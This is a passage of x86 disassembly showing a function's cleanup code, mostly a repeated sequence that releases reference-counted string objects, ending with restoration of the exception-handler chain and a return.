test edx, edx
jg 0x4133ad
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1a
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4133d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x19
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413400
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x18
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41342b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x17
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413456
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x16
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413481
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x15
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4134ac
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x14
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4134d7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x13
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413502
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x12
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41352a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x11
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413552
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x10
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41357a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xf
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4135a2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xe
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4135ca
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xd
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4135f2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xc
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41361a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xb
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413642
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xa
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41366a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 9
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413692
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 8
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4136ba
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 3
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4136e2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 2
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41370d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 1
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413738
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413760
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xf0], 0xffffffff
mov eax, dword [esp + 0xd4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41378e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebp + 8]
mov edx, dword [edi + 0xa8]
mov esi, dword [edi + 0x134]
call fcn.0043ea60
mov edx, dword [edi + 0xb0]
mov esi, dword [edi + 0x134]
call fcn.0043ea60
add edi, 0x1bc
push edi
call fcn.0041cab0
mov ecx, dword [esp + 0xe8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4